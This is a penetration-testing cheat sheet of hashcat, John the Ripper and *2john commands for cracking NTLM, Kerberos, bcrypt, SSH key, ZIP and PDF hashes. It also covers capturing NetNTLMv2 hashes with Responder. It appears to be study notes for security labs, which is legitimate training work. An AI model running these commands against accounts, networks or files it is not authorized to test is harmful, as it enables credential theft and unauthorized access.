🔑 Hash Cracking

Online brute-force: password-attacks. Dumping NTDS/SAM: windows, tools.

Identify

hashid '$2a$10$SpKY...'            # or hashes.com / Hash-identifier

Linux hash format: $id$salt$hash → $1$=MD5, $5$=SHA-256, $6$=SHA-512.

Common hashcat modes: 1000 NTLM · 1710 sha512($pass.$salt) · 5600 NetNTLMv2 · 13100 Kerberoast TGS · 18200 AS-REP.

hashcat

hashcat -m 1710 -o result.txt sha512_crack.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 <hash> rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
hashcat -r /usr/share/hashcat/rules/rockyou-30000.rule

Rule chars: u upper · d duplicate · $1 c first-letter upper.

john

john hash.txt --wordlist=rockyou.txt --format=bcrypt
john-the-ripper hash --format='dynamic=sha512($p.$s)' -w=rockyou.txt

Custom rule:

[List.Rules:sshRules]
c $1 $3 $7 $!
c $1 $3 $7 $@

sudo sh -c 'cat ssh.rule >> /etc/john/john.conf'
john --wordlist=ssh.passwords --rules=sshRules ssh.hash

Key / archive / document cracking

ssh2john id_rsa > ssh.hash
zip2john sitebackup3.zip > ziphash
pdf2john.pl Infrastructure.pdf | tee pdf_hash     # or: pdfcrack -w rockyou.txt file.pdf
john HASH --wordlist=rockyou.txt

NTLM capture / crack (quick)

sudo responder -I tun0                            # capture NetNTLMv2
hashcat -m 5600 paul.hash rockyou.txt --force

Full Mimikatz LSASS dump and Pass-the-Hash live in tools / windows.

Steganography & metadata

exiftool document.pdf                   # metadata
steghide extract -sf haclabs.jpeg       # extract from image

Web cracker: CrackStation. Example hashes: hashcat wiki.